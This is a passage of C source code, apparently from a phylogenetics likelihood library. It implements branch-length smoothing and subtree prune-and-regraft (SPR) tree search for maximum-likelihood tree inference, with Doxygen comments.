tr->likelihood);\n \t assert(0); \n \t}\n }\n #endif\n}\n\n/** @brief Branch length optimization of subtree\n\n Optimize the length of branch connected by \\a p and \\a p->back, and the\n lengths of all branches in the subtrees rooted at \\a p->next and \\a p->next->next\n\n @param tr\n The library instance\n\n @param pr\n Partition list\n\n @param p\n Endpoint of branches to be optimized\n*/\nvoid smooth (pllInstance *tr, partitionList *pr, nodeptr p)\n{\n nodeptr q;\n int numBranches = pr->perGeneBranchLengths?pr->numberOfPartitions:1;\n\n update(tr, pr, p); /* Adjust branch */\n\n if (! isTip(p->number, tr->mxtips)) \n { /* Adjust descendants */\n q = p->next;\n while (q != p) \n {\n smooth(tr, pr, q->back);\n q = q->next;\n }\t\n\n if(numBranches > 1 && !tr->useRecom)\n pllUpdatePartials(tr, pr,p, PLL_TRUE);\n else\n pllUpdatePartials(tr, pr,p, PLL_FALSE);\n }\n} \n\n/** @brief Check whether the branches in all partitions have been optimized\n \n Check if all branches in all partitions have reached the threshold for\n optimization. If at least one branch can be optimized further return \\b PLL_FALSE.\n\n @param tr\n The library instance \n\n @return\n If at least one branch can be further optimized return \\b PLL_FALSE,\n otherwise \\b PLL_TRUE.\n \n*/\nstatic pllBoolean allSmoothed(pllInstance *tr, int numBranches)\n{\n int i;\n pllBoolean result = PLL_TRUE;\n\n for(i = 0; i < numBranches; i++)\n {\n if(tr->partitionSmoothed[i] == PLL_FALSE)\n result = PLL_FALSE;\n else\n tr->partitionConverged[i] = PLL_TRUE;\n }\n\n return result;\n}\n\n\n/** @brief Optimize all branch lenghts of a tree\n \n Perform \\a maxtimes rounds of branch length optimization by running smooth()\n on all neighbour nodes of node \\a tr->start.\n\n @param tr\n The library instance\n\n @param maxtimes\n Number of optimization rounds to perform\n*/\n/* do maxtimes rounds of branch length optimization */\nvoid smoothTree (pllInstance *tr, partitionList *pr, int maxtimes)\n{\n\tnodeptr p, q;\n\tint i, count = 0;\n int numBranches = pr->perGeneBranchLengths?pr->numberOfPartitions:1;\n\n\tp = tr->start;\n\tfor(i = 0; i < numBranches; i++)\n\t\ttr->partitionConverged[i] = PLL_FALSE;\n\n\twhile (--maxtimes >= 0)\n\t{\n\t\tfor(i = 0; i < numBranches; i++)\n\t\t\ttr->partitionSmoothed[i] = PLL_TRUE;\n\n\t\tsmooth(tr, pr, p->back);\n\t\tif (!isTip(p->number, tr->mxtips))\n\t\t{\n\t\t\tq = p->next;\n\t\t\twhile (q != p)\n\t\t\t{\n\t\t\t\tsmooth(tr, pr, q->back);\n\t\t\t\tq = q->next;\n\t\t\t}\n\t\t}\n\t\tcount++;\n\n\t\tif (allSmoothed(tr, numBranches)) break;\n\t}\n\n\tfor(i = 0; i < numBranches; i++)\n\t\ttr->partitionConverged[i] = PLL_FALSE;\n} \n\n\n/** @brief Optimize the branch length of edges around a specific node\n \n Optimize \\a maxtimes the branch length of all (3) edges around a given node \n \\a p of the tree of library instance \\a tr.\n\n @param tr\n The library instance\n\n @param p\n The node around which to optimize the edges\n\n @param maxtimes\n Number of optimization rounds to perform\n*/\nvoid localSmooth (pllInstance *tr, partitionList *pr, nodeptr p, int maxtimes)\n{ \n nodeptr q;\n int i;\n int numBranches = pr->perGeneBranchLengths ? pr->numberOfPartitions : 1;\n if (isTip(p->number, tr->mxtips)) return;\n\n for(i = 0; i < PLL_NUM_BRANCHES; i++)\n tr->partitionConverged[i] = PLL_FALSE;\t\n\n while (--maxtimes >= 0) \n { \n for(i = 0; i < PLL_NUM_BRANCHES; i++)\n tr->partitionSmoothed[i] = PLL_TRUE;\n\n q = p;\n do \n {\n update(tr, pr, q);\n q = q->next;\n } \n while (q != p);\n\n if (allSmoothed(tr, numBranches))\n break;\n }\n\n for(i = 0; i < PLL_NUM_BRANCHES; i++)\n {\n tr->partitionSmoothed[i] = PLL_FALSE; \n tr->partitionConverged[i] = PLL_FALSE;\n }\n}\n\n\n\n\n/** @brief Reset an \\a infoList\n\n Resets an \\a infoList by setting elements \\a node and \\a likelihood\n of each element of the \\a bestInfo list structure to \\b NULL and\n \\a PLL_UNLIKELY, respectively.\n\n @param iList\n The given \\a infoList.\n*/\nstatic void resetInfoList(infoList *iList)\n{\n int \n i;\n\n iList->valid = 0;\n\n for(i = 0; i < iList->n; i++) \n {\n iList->list[i].node = (nodeptr)NULL;\n iList->list[i].likelihood = PLL_UNLIKELY;\n } \n}\n\n/** @brief Initialize an \\a infoList\n\n Initialize an \\a infoList by creating a \\a bestInfo list structure\n of \\a n elements and setting the attributes \\a node and \\a likelihood\n of each element of the \\a bestInfo list structure to \\b NULL and\n \\a PLL_UNLIKELY, respectively.\n\n @param iList\n The given \\a infoList.\n\n @param n\n Number of elements to be created in the \\a bestInfo list.\n*/\nstatic void initInfoList(infoList *iList, int n)\n{\n int \n i;\n\n iList->n = n;\n iList->valid = 0;\n iList->list = (bestInfo *)rax_malloc(sizeof(bestInfo) * (size_t)n);\n\n for(i = 0; i < n; i++)\n {\n iList->list[i].node = (nodeptr)NULL;\n iList->list[i].likelihood = PLL_UNLIKELY;\n }\n}\n\n/** @brief Deallocate the contents of an \\a infoList\n \n Deallocate the contents of a given \\a infoList by freeing\n the memory used by its \\a bestInfo list structure.\n\n @param iList\n The \\a infoList to be used.\n*/\nstatic void freeInfoList(infoList *iList)\n{ \n rax_free(iList->list); \n}\n\n\n/** @brief Insert a record in an \\a infoList\n\n Insert the pair \\a likelihood and \\node into list \\a iList \n \\b only if there already exists a pair in \\a iList \n whose \\a likelihood attribute is smaller than the given \\a \n likelihood. The insertion is done by replacing the smallest\n likelihood pair with the new pair.\n\n @param node\n The given node\n\n @param likelihood\n The given likelihood\n\n @param iList\n The given \\a infoList where the record will possibly be appended.\n*/\nstatic void insertInfoList(nodeptr node, double likelihood, infoList *iList)\n{\n int \n i,\n min = 0;\n\n double \n min_l = iList->list[0].likelihood;\n\n for(i = 1; i < iList->n; i++)\n {\n if(iList->list[i].likelihood < min_l)\n {\n min = i;\n min_l = iList->list[i].likelihood;\n }\n }\n\n if(likelihood > min_l)\n {\n iList->list[min].likelihood = likelihood;\n iList->list[min].node = node;\n if(iList->valid < iList->n)\n iList->valid += 1;\n }\n}\n\n\n/** @brief Optimize branch lengths of region\n\n Optimize the branch lenghts of only a specific region. The branch optimization starts\n at a node \\a p and is carried out in all nodes with distance upto \\a region edges from \n \\a p.\n\n @param tr\n The library instance.\n \n @param p\n Node to start branch optimization from.\n\n @param region\n The allowed node distance from \\p for which to still perform branch optimization.\n*/\nvoid smoothRegion (pllInstance *tr, partitionList *pr, nodeptr p, int region)\n{ \n nodeptr q;\n\n update(tr, pr, p); /* Adjust branch */\n\n if (region > 0)\n {\n if (!isTip(p->number, tr->mxtips)) \n { \n q = p->next;\n while (q != p) \n {\n smoothRegion(tr, pr, q->back, --region);\n q = q->next;\n }\t\n\n pllUpdatePartials(tr, pr,p, PLL_FALSE);\n }\n }\n}\n\n/** @brief Wrapper function for optimizing the branch length of a region \\a maxtimes times\n\n Optimize the branch lengths of a specific region \\a maxtimes times. The branch optimization\n starts at a given node \\a p and is carried out in all nodes with distance upto \\a region\n from \\a p.\n\n @param tr\n The library instance.\n\n @param p\n Node to start branch optimization from.\n\n @param maxtimes\n Number of times to perform branch optimization.\n\n @param region\n The allwed node distance from \\p for which to still perform branch optimization.\n\n @todo\n In the previous version (before the model-sep merge) the loops were controlled by tr->numBranches,\n and now they are controlled by a constant PLL_NUM_BRANCHES. What is right?\n*/\nvoid regionalSmooth (pllInstance *tr, partitionList *pr, nodeptr p, int maxtimes, int region)\n{\n nodeptr q;\n int i;\n int numBranches = pr->perGeneBranchLengths?pr->numberOfPartitions:1;\n\n if (isTip(p->number, tr->mxtips)) return; /* Should be an error */\n\n for(i = 0; i < PLL_NUM_BRANCHES; i++)\n tr->partitionConverged[i] = PLL_FALSE;\n\n while (--maxtimes >= 0) \n {\t\n for(i = 0; i < PLL_NUM_BRANCHES; i++)\n tr->partitionSmoothed[i] = PLL_TRUE;\n\n q = p;\n do \n {\n smoothRegion(tr, pr, q, region);\n q = q->next;\n } \n while (q != p);\n\n if (allSmoothed(tr, numBranches))\n break;\n }\n\n for(i = 0; i < PLL_NUM_BRANCHES; i++) {\n tr->partitionSmoothed[i] = PLL_FALSE;\n tr->partitionConverged[i] = PLL_FALSE;\n }\n} \n\n\n\n\n/** @brief Split the tree into two components and optimize new branch length\n\n Split the tree into two components. The disconnection point is node \\a p.\n First, a branch length is computed for the newly created branch between nodes\n \\a p->next->back and \\a p->next->next->back and then the two nodes are\n connected (hookup). Disconnection is done by setting \\a p->next->next->back\n and \\a p->next->back to \\b NULL.\n\n @param tr\n The library instance\n\n @param p\n The node at which the tree should be decomposed into two components.\n\n @param numBranches\n Number of branches per partition\n\n @return\n Node from the disconnected component\n\n @todo\n Why do we return this node?\n\n @image html removeBIG.png \"The diagram shows in blue color the new edge that is created and in red the edges that are removed\"\n*/\nnodeptr removeNodeBIG (pllInstance *tr, partitionList *pr, nodeptr p, int numBranches)\n{ \n// double zqr[numBranches], result[numBranches];\n double* zqr = rax_malloc(numBranches*sizeof(double)), *result = rax_malloc(numBranches*sizeof(double));\n nodeptr q, r;\n int i;\n\n q = p->next->back;\n r = p->next->next->back;\n\n for(i = 0; i < numBranches; i++)\n zqr[i] = q->z[i] * r->z[i]; \n\n makenewzGeneric(tr, pr, q, r, zqr, PLL_ITERATIONS, result, PLL_FALSE);\n\n for(i = 0; i < numBranches; i++) \n tr->zqr[i] = result[i];\n\n hookup(q, r, result, numBranches); \n\n p->next->next->back = p->next->back = (node *) NULL;\n\n rax_free(result);\n rax_free(zqr);\n return q; \n}\n\n/** @brief Split the tree into two components and recompute likelihood\n\n Split the tree into two component. The disconnection point is node \\a p.\n Set the branch length of the new node between \\a p->next->back and\n \\a p->next->next->back to \\a tr->currentZQR and then decompose the tree\n into two components by setting \\a p->next->back and \\a p->next->next->back\n to \\b NULL.\n\n @param tr\n The library instance\n\n @param p\n The node at which the tree should be decomposed into two components.\n\n @return q\n the node after \\a p\n\n @todo\n Why do we return this node? Why do we set to tr->currentZQR and not compute\n new optimized length? What is tr->currentZQR? \n*/\nnodeptr removeNodeRestoreBIG (pllInstance *tr, partitionList *pr, nodeptr p)\n{\n nodeptr q, r;\n\n q = p->next->back;\n r = p->next->next->back; \n\n pllUpdatePartials(tr, pr,q, PLL_FALSE);\n pllUpdatePartials(tr, pr,r, PLL_FALSE);\n\n hookup(q, r, tr->currentZQR, pr->perGeneBranchLengths?pr->numberOfPartitions:1);\n\n p->next->next->back = p->next->back = (node *) NULL;\n\n return q;\n}\n\n/** @brief Connect two disconnected tree components\n \n Connect two disconnected components by specifying an internal edge from one\n component and a leaf from the other component. The internal edge \\a e is the\n edge between \\a q and \\a q->back. The leaf is specified by \\a p.\n Edge \\a e is removed and two new edges are created. The first one is an edge\n between \\a p->next and \\a q, and the second one is between \\a p->next->next\n and \\a q->back. The new likelihood vector for node \\a p is computed.\n\n @note The function makes use of the \\a thoroughInsertion flag\n\n @todo\n What is tr->lzi ? What is thorough insertion? Why do we optimize branch lengths\n that will be removed? Add explanation\n\n @image html pll.png \"The diagram shows in blue colors the new edges that are created and in red the edge that is removed\" \n*/\npllBoolean insertBIG (pllInstance *tr, partitionList *pr, nodeptr p, nodeptr q)\n{\n nodeptr r, s;\n int i;\n int numBranches = pr->perGeneBranchLengths?pr->numberOfPartitions:1;\n\n r = q->back;\n s = p->back;\n\n for(i = 0; i < numBranches; i++)\n tr->lzi[i] = q->z[i];\n\n if(tr->thoroughInsertion)\n { \n\t double * zqr = rax_malloc(numBranches*sizeof(double)), \n\t\t *zqs = rax_malloc(numBranches*sizeof(double)), \n\t\t *zrs = rax_malloc(numBranches*sizeof(double));\n\t double lzqr, lzqs, lzrs, lzsum, lzq, lzr, lzs, lzmax;\n double *defaultArray=rax_malloc(numBranches*sizeof(double));\n\tdouble *e1 = rax_malloc(numBranches*sizeof(double)),\n\t\t*e2 = rax_malloc(numBranches*sizeof(double)),\n\t\t*e3 = rax_malloc(numBranches*sizeof(double));\n double *qz;\n\n qz = q->z;\n\n for(i = 0; i < numBranches; i++)\n defaultArray[i] = PLL_DEFAULTZ;\n\n makenewzGeneric(tr, pr, q, r, qz, PLL_ITERATIONS, zqr, PLL_FALSE);\n /* the branch lengths values will be estimated using q, r and s\n * q-s are not connected, but both q and s have a valid LH vector , so we can call makenewzGeneric to get a value for\n * lzsum, which is then use to generate reasonable starting values e1, e2, e3 for the new branches we create after the insertion\n */\n\n makenewzGeneric(tr, pr, q, s, defaultArray, PLL_ITERATIONS, zqs, PLL_FALSE);\n makenewzGeneric(tr, pr, r, s, defaultArray, PLL_ITERATIONS, zrs, PLL_FALSE);\n\n\n for(i = 0; i < numBranches; i++)\n {\n lzqr = (zqr[i] > PLL_ZMIN) ? log(zqr[i]) : log(PLL_ZMIN); \n lzqs = (zqs[i] > PLL_ZMIN) ? log(zqs[i]) : log(PLL_ZMIN);\n lzrs = (zrs[i] > PLL_ZMIN) ? log(zrs[i]) : log(PLL_ZMIN);\n lzsum = 0.5 * (lzqr + lzqs + lzrs);\n\n lzq = lzsum - lzrs;\n lzr = lzsum - lzqs;\n lzs = lzsum - lzqr;\n lzmax = log(PLL_ZMAX);\n\n if (lzq > lzmax) {lzq = lzmax; lzr = lzqr; lzs = lzqs;} \n else if (lzr > lzmax) {lzr = lzmax; lzq = lzqr; lzs = lzrs;}\n else if (lzs > lzmax) {lzs = lzmax; lzq = lzqs; lzr = lzrs;} \n\n e1[i] = exp(lzq);\n e2[i] = exp(lzr);\n e3[i] = exp(lzs);\n }\n hookup(p->next, q, e1, numBranches);\n hookup(p->next->next, r, e2, numBranches);\n hookup(p, s, e3, numBranches); \t\t \n\trax_free(e3);\n\trax_free(e2);\n\trax_free(e1);\n\trax_free(defaultArray);\n\trax_free(zrs);\n\trax_free(zqs);\n\trax_free(zqr);\n\n }\n else\n { \n\t double *z = rax_malloc(numBranches*sizeof(double));\n\n for(i = 0; i < numBranches; i++)\n {\n z[i] = sqrt(q->z[i]); \n\n if(z[i] < PLL_ZMIN) \n z[i] = PLL_ZMIN;\n if(z[i] > PLL_ZMAX)\n z[i] = PLL_ZMAX;\n }\n\n hookup(p->next, q, z, numBranches);\n hookup(p->next->next, r, z, numBranches);\n\trax_free(z);\n }\n\n pllUpdatePartials(tr, pr,p, PLL_FALSE);\n\n if(tr->thoroughInsertion)\n { \n localSmooth(tr, pr, p, PLL_MAX_LOCAL_SMOOTHING_ITERATIONS);\n for(i = 0; i < numBranches; i++)\n {\n tr->lzq[i] = p->next->z[i];\n tr->lzr[i] = p->next->next->z[i];\n tr->lzs[i] = p->z[i]; \n }\n } \n\n return PLL_TRUE;\n}\n\n/** @brief Connect two disconnected tree components without optimizing branch lengths\n \n Connect two disconnected components by specifying an internal edge from one\n component and a leaf from the other component. The internal edge \\a e is the\n edge between \\a q and \\a q->back. The leaf is specified by \\a p.\n Edge \\a e is removed and two new edges are created. The first one is an edge\n between \\a p->next and \\a q, and the second one is between \\a p->next->next\n and \\a q->back. The new likelihood vector for node \\a p is computed.\n\n @note The function makes use of the \\a thoroughInsertion flag\n\n @todo\n What is the difference between this and insertBIG? \n*/\npllBoolean insertRestoreBIG (pllInstance *tr, partitionList *pr, nodeptr p, nodeptr q)\n{\n nodeptr r, s;\n\n r = q->back;\n s = p->back;\n\n int numBranches = pr->perGeneBranchLengths?pr->numberOfPartitions:1;\n\n if(tr->thoroughInsertion)\n { \n hookup(p->next, q, tr->currentLZQ, numBranches);\n hookup(p->next->next, r, tr->currentLZR, numBranches);\n hookup(p, s, tr->currentLZS, numBranches);\n }\n else\n { \n double z[PLL_NUM_BRANCHES];\n int i;\n\n for(i = 0; i < numBranches; i++)\n {\n double zz;\n zz = sqrt(q->z[i]); \n if(zz < PLL_ZMIN) \n zz = PLL_ZMIN;\n if(zz > PLL_ZMAX)\n zz = PLL_ZMAX;\n z[i] = zz;\n }\n\n hookup(p->next, q, z, numBranches);\n hookup(p->next->next, r, z, numBranches);\n } \n\n pllUpdatePartials(tr, pr,p, PLL_FALSE);\n\n return PLL_TRUE;\n}\n\n\nstatic void restoreTopologyOnly(pllInstance *tr, bestlist *bt, int numBranches)\n{ \n nodeptr p = tr->removeNode;\n nodeptr q = tr->insertNode;\n double qz[PLL_NUM_BRANCHES], pz[PLL_NUM_BRANCHES], p1z[PLL_NUM_BRANCHES], p2z[PLL_NUM_BRANCHES];\n nodeptr p1, p2, r, s;\n double currentLH = tr->likelihood;\n int i;\n\n p1 = p->next->back;\n p2 = p->next->next->back;\n\n //memcpy(p1z, p1->z, numBranches*sizeof(double));\n //memcpy(p2z, p2->z, numBranches*sizeof(double));\n //memcpy(qz, q->z, numBranches*sizeof(double));\n //memcpy(pz, p->z, numBranches*sizeof(double));\n for(i = 0; i < numBranches; i++)\n {\n p1z[i] = p1->z[i];\n p2z[i] = p2->z[i];\n }\n\n hookup(p1, p2, tr->currentZQR, numBranches);\n\n p->next->next->back = p->next->back = (node *) NULL; \n for(i = 0; i < numBranches; i++)\n {\n qz[i] = q->z[i];\n pz[i] = p->z[i];\n }\n\n r = q->back;\n s = p->back;\n\n if(tr->thoroughInsertion)\n { \n hookup(p->next, q, tr->currentLZQ, numBranches);\n hookup(p->next->next, r, tr->currentLZR, numBranches);\n hookup(p, s, tr->currentLZS, numBranches);\n }\n else\n { \t\n double z[PLL_NUM_BRANCHES];\t\n for(i = 0; i < numBranches; i++)\n {\n z[i] = sqrt(q->z[i]); \n if(z[i] < PLL_ZMIN)\n z[i] = PLL_ZMIN;\n if(z[i] > PLL_ZMAX)\n z[i] = PLL_ZMAX;\n }\n hookup(p->next, q, z, numBranches);\n hookup(p->next->next, r, z, numBranches);\n } \n\n tr->likelihood = tr->bestOfNode;\n\n saveBestTree(bt, tr, numBranches);\n\n tr->likelihood = currentLH;\n\n hookup(q, r, qz, numBranches);\n\n p->next->next->back = p->next->back = (nodeptr) NULL;\n\n if(tr->thoroughInsertion) \n hookup(p, s, pz, numBranches);\n\n hookup(p->next, p1, p1z, numBranches);\n hookup(p->next->next, p2, p2z, numBranches);\n}\n\n/** @brief Test the \n*/\npllBoolean testInsertBIG (pllInstance *tr, partitionList *pr, nodeptr p, nodeptr q)\n{\n\n int numBranches = pr->perGeneBranchLengths?pr->numberOfPartitions:1;\n\n double qz[PLL_NUM_BRANCHES], pz[PLL_NUM_BRANCHES];\n nodeptr r;\n double startLH = tr->endLH;\n int i;\n\n r = q->back; \n for(i = 0; i < numBranches; i++)\n {\n qz[i] = q->z[i];\n pz[i] = p->z[i];\n }\n\n if (! insertBIG(tr, pr, p, q)) return PLL_FALSE;\n\n pllEvaluateLikelihood (tr, pr, p->next->next, PLL_FALSE, PLL_FALSE);\n\n if(tr->likelihood > tr->bestOfNode)\n {\n tr->bestOfNode = tr->likelihood;\n tr->insertNode = q;\n tr->removeNode = p; \n for(i = 0; i < numBranches; i++)\n {\n tr->currentZQR[i] = tr->zqr[i]; \n tr->currentLZR[i] = tr->lzr[i];\n tr->currentLZQ[i] = tr->lzq[i];\n tr->currentLZS[i] = tr->lzs[i]; \n }\n }\n\n if(tr->likelihood > tr->endLH)\n {\t\t\t \n tr->insertNode = q;\n tr->removeNode = p; \n for(i = 0; i < numBranches; i++)\n tr->currentZQR[i] = tr->zqr[i]; \n tr->endLH = tr->likelihood; \n } \n\n /* reset the topology so that it is the same as it was before calling insertBIG */\n hookup(q, r, qz, numBranches);\n\n p->next->next->back = p->next->back = (nodeptr) NULL;\n\n if(tr->thoroughInsertion)\n {\n nodeptr s = p->back;\n hookup(p, s, pz, numBranches);\n } \n\n if((tr->doCutoff) && (tr->likelihood < startLH))\n {\n tr->lhAVG += (startLH - tr->likelihood);\n tr->lhDEC++;\n if((startLH - tr->likelihood) >= tr->lhCutoff)\n return PLL_FALSE;\t \n else\n return PLL_TRUE;\n }\n else\n return PLL_TRUE;\n}\n\n\n/** @brief Recursively traverse tree and test insertion\n\n Recursively traverses the tree structure starting from node \\a q and\n tests the insertion of the component specified by leaf \\a p at the edge\n between \\a q and \\a q->back.\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n @param p\n Leaf node of one tree component\n\n @param q\n Endpoint node of the edge to test the insertion\n\n @param mintrav\n Minimum radius around \\a q to test the insertion\n\n @param maxtrav\n Maximum radius around \\a q to test the insertion\\\n*/\nvoid addTraverseBIG(pllInstance *tr, partitionList *pr, nodeptr p, nodeptr q, int mintrav, int maxtrav)\n{ \n if (--mintrav <= 0) \n { \n if (! testInsertBIG(tr, pr, p, q)) return;\n\n }\n\n if ((!isTip(q->number, tr->mxtips)) && (--maxtrav > 0)) \n { \n addTraverseBIG(tr, pr, p, q->next->back, mintrav, maxtrav);\n addTraverseBIG(tr, pr, p, q->next->next->back, mintrav, maxtrav);\n }\n} \n\n\n\n\n/** @brief Compute the best SPR movement\n\n Compute all SPR moves starting from \\a p in the space defined by \\a mintrav and\n \\a maxtrav and store the best in the \\a tr structure.\n\n @param tr\n PLL instancve\n\n @param pr\n List of partitions\n\n @param p\n Node from which to start the SPR moves testing\n\n @param mintrav\n Minimum distance from \\a p where to start testing SPRs\n\n @param maxtrav\n Maximum distance from \\a p where to test SPRs\n\n @return\n 0,1 or \\b PLL_BADREAR\n\n @todo\n fix the return value\n*/\nint rearrangeBIG(pllInstance *tr, partitionList *pr, nodeptr p, int mintrav, int maxtrav)\n{ \n double p1z[PLL_NUM_BRANCHES], p2z[PLL_NUM_BRANCHES], q1z[PLL_NUM_BRANCHES], q2z[PLL_NUM_BRANCHES];\n nodeptr p1, p2, q, q1, q2;\n int mintrav2, i; \n pllBoolean doP = PLL_TRUE, doQ = PLL_TRUE;\n int numBranches = pr->perGeneBranchLengths ? pr->numberOfPartitions : 1;\n\n if (maxtrav < 1 || mintrav > maxtrav) return (0);\n q = p->back;\n\n\n\n\n if (!isTip(p->number, tr->mxtips) && doP) \n { \n p1 = p->next->back;\n p2 = p->next->next->back;\n\n\n if(!isTip(p1->number, tr->mxtips) || !isTip(p2->number, tr->mxtips))\n {\n for(i = 0; i < numBranches; i++)\n {\n p1z[i] = p1->z[i];\n p2z[i] = p2->z[i];\t \t \n }\n\n if (! removeNodeBIG(tr, pr, p, numBranches)) return PLL_BADREAR;\n\n if (!isTip(p1->number, tr->mxtips)) \n {\n addTraverseBIG(tr, pr, p, p1->next->back,\n mintrav, maxtrav); \n\n addTraverseBIG(tr, pr, p, p1->next->next->back,\n mintrav, maxtrav); \n }\n\n if (!isTip(p2->number, tr->mxtips)) \n {\n addTraverseBIG(tr, pr, p, p2->next->back,\n mintrav, maxtrav);\n addTraverseBIG(tr, pr, p, p2->next->next->back,\n mintrav, maxtrav); \n }\n\n hookup(p->next, p1, p1z, numBranches);\n hookup(p->next->next, p2, p2z, numBranches);\n pllUpdatePartials(tr, pr,p, PLL_FALSE);\n }\n } \n\n if (!isTip(q->number, tr->mxtips) && maxtrav > 0 && doQ) \n {\n q1 = q->next->back;\n q2 = q->next->next->back;\n\n /*if (((!q1->tip) && (!q1->next->back->tip || !q1->next->next->back->tip)) ||\n ((!q2->tip) && (!q2->next->back->tip || !q2->next->next->back->tip))) */\n if (\n (\n ! isTip(q1->number, tr->mxtips) && \n (! isTip(q1->next->back->number, tr->mxtips) || ! isTip(q1->next->next->back->number, tr->mxtips))\n )\n ||\n (\n ! isTip(q2->number, tr->mxtips) && \n (! isTip(q2->next->back->number, tr->mxtips) || ! isTip(q2->next->next->back->number, tr->mxtips))\n )\n )\n {\n\n for(i = 0; i < numBranches; i++)\n {\n q1z[i] = q1->z[i];\n q2z[i] = q2->z[i];\n }\n\n if (! removeNodeBIG(tr, pr, q, numBranches)) return PLL_BADREAR;\n\n mintrav2 = mintrav > 2 ? mintrav : 2;\n\n if (/*! q1->tip*/ !isTip(q1->number, tr->mxtips)) \n {\n addTraverseBIG(tr, pr, q, q1->next->back,\n mintrav2 , maxtrav);\n addTraverseBIG(tr, pr, q, q1->next->next->back,\n mintrav2 , maxtrav); \n }\n\n if (/*! q2->tip*/ ! isTip(q2->number, tr->mxtips)) \n {\n addTraverseBIG(tr, pr, q, q2->next->back,\n mintrav2 , maxtrav);\n addTraverseBIG(tr, pr, q, q2->next->next->back,\n mintrav2 , maxtrav); \n }\t \n\n hookup(q->next, q1, q1z, numBranches);\n hookup(q->next->next, q2, q2z, numBranches);\n\n pllUpdatePartials(tr, pr,q, PLL_FALSE);\n }\n } \n\n return 1;\n} \n\n\n\n\n/** @brief Perform an SPR move?\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param mintrav\n\n @param maxtrav\n\n @param adef\n\n @param bt\n\n @param iList\n\n*/\ndouble treeOptimizeRapid(pllInstance *tr, partitionList *pr, int mintrav, int maxtrav, bestlist *bt, infoList *iList)\n{\n int i, index,\n *perm = (int*)NULL; \n\n nodeRectifier(tr);\n\n\n\n if (maxtrav > tr->mxtips - 3) \n maxtrav = tr->mxtips - 3; \n\n\n\n resetInfoList(iList);\n\n resetBestTree(bt);\n\n tr->startLH = tr->endLH = tr->likelihood;\n\n if(tr->doCutoff)\n {\n if(tr->bigCutoff)\n {\t \n if(tr->itCount == 0) \n tr->lhCutoff = 0.5 * (tr->likelihood / -1000.0); \n else \t\t \n tr->lhCutoff = 0.5 * ((tr->lhAVG) / ((double)(tr->lhDEC))); \t \n }\n else\n {\n if(tr->itCount == 0) \n tr->lhCutoff = tr->likelihood / -1000.0; \n else \t\t \n tr->lhCutoff = (tr->lhAVG) / ((double)(tr->lhDEC)); \n } \n\n tr->itCount = tr->itCount + 1;\n tr->lhAVG = 0;\n tr->lhDEC = 0;\n }\n\n /*\n printf(\"DoCutoff: %d\\n\", tr->doCutoff);\n printf(\"%d %f %f %f\\n\", tr->itCount, tr->lhAVG, tr->lhDEC, tr->lhCutoff);\n\n printf(\"%d %d\\n\", mintrav, maxtrav);\n */\n\n for(i = 1; i <= tr->mxtips + tr->mxtips - 2; i++)\n { \n tr->bestOfNode = PLL_UNLIKELY; \n\n if(tr->permuteTreeoptimize)\n index = perm[i];\n else\n index = i; \n\n if(rearrangeBIG(tr, pr, tr->nodep[index], mintrav, maxtrav))\n { \n if(tr->thoroughInsertion)\n {\n if(tr->endLH > tr->startLH) \t\n {\t\t\t \n /* commit the best SPR found by rearrangeBIG */\n restoreTreeFast(tr, pr); \n tr->startLH = tr->endLH = tr->likelihood;\t \n saveBestTree(bt, tr, pr->perGeneBranchLengths?pr->numberOfPartitions:1);\n }\n else\n { \t\t \n if(tr->bestOfNode != PLL_UNLIKELY)\n restoreTopologyOnly(tr, bt, pr->perGeneBranchLengths?pr->numberOfPartitions:1);\n }\t \n }\n else\n {\n insertInfoList(tr->nodep[index], tr->bestOfNode, iList);\t \n if(tr->endLH > tr->startLH) \t\n {\t\t \n restoreTreeFast(tr, pr);\n tr->startLH = tr->endLH = tr->likelihood;\t \t \t \t \t \t \t \t \n }\t \t \n }\n } \n } \n\n if(!tr->thoroughInsertion)\n { \n tr->thoroughInsertion = PLL_TRUE; \n\n for(i = 0; i < iList->valid; i++)\n { \t \n tr->bestOfNode = PLL_UNLIKELY;\n\n if(rearrangeBIG(tr, pr, iList->list[i].node, mintrav, maxtrav))\n {\t \n if(tr->endLH > tr->startLH) \t\n {\t \t \n restoreTreeFast(tr, pr);\n tr->startLH = tr->endLH = tr->likelihood;\t \n saveBestTree(bt, tr, pr->perGeneBranchLengths?pr->numberOfPartitions:1);\n }\n else\n { \n\n if(tr->bestOfNode != PLL_UNLIKELY)\n {\t \n restoreTopologyOnly(tr, bt, pr->perGeneBranchLengths?pr->numberOfPartitions:1);\n }\t\n } \n }\n } \n\n tr->thoroughInsertion = PLL_FALSE;\n }\n\n if(tr->permuteTreeoptimize)\n rax_free(perm);\n\n return tr->startLH; \n}\n\n\n\n\npllBoolean testInsertRestoreBIG (pllInstance *tr, partitionList *pr, nodeptr p, nodeptr q)\n{ \n if(tr->thoroughInsertion)\n {\n if (! insertBIG(tr, pr, p, q)) return PLL_FALSE;\n\n pllEvaluateLikelihood (tr, pr, p->next->next, PLL_FALSE, PLL_FALSE);\n }\n else\n {\n if (! insertRestoreBIG(tr, pr, p, q)) return PLL_FALSE;\n\n {\n nodeptr x, y;\n x = p->next->next;\n y = p->back;\n\n if(! isTip(x->number, tr->mxtips) && isTip(y->number, tr->mxtips))\n {\n while ((! x->x)) \n {\n if (! (x->x))\n pllUpdatePartials(tr, pr,x, PLL_FALSE);\n }\n }\n\n if(isTip(x->number, tr->mxtips) && !isTip(y->number, tr->mxtips))\n {\n while ((! y->x)) \n {\t\t \n if (! (y->x))\n pllUpdatePartials(tr, pr,y, PLL_FALSE);\n }\n }\n\n if(!isTip(x->number, tr->mxtips) && !isTip(y->number, tr->mxtips))\n {\n while ((! x->x) || (! y->x)) \n {\n if (! (x->x))\n pllUpdatePartials(tr, pr,x, PLL_FALSE);\n if (! (y->x))\n pllUpdatePartials(tr, pr,y, PLL_FALSE);\n }\n }\t\t\t\t \t\n\n }\n\n tr->likelihood = tr->endLH;\n }\n\n return PLL_TRUE;\n} \n\nvoid restoreTreeFast(pllInstance *tr, partitionList *pr)\n{\n removeNodeRestoreBIG(tr, pr, tr->removeNode);\n testInsertRestoreBIG(tr, pr, tr->removeNode, tr->insertNode);\n}\n\n/*\nstatic void myfwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)\n{\n size_t \n bytes_written = fwrite(ptr, size, nmemb, stream);\n\n assert(bytes_written == nmemb);\n}\n\nstatic void myfread(void *ptr, size_t size, size_t nmemb, FILE *stream)\n{\n size_t\n bytes_read;\n\n bytes_read = fread(ptr, size, nmemb, stream);\n\n assert(bytes_read == nmemb);\n}\n\nstatic 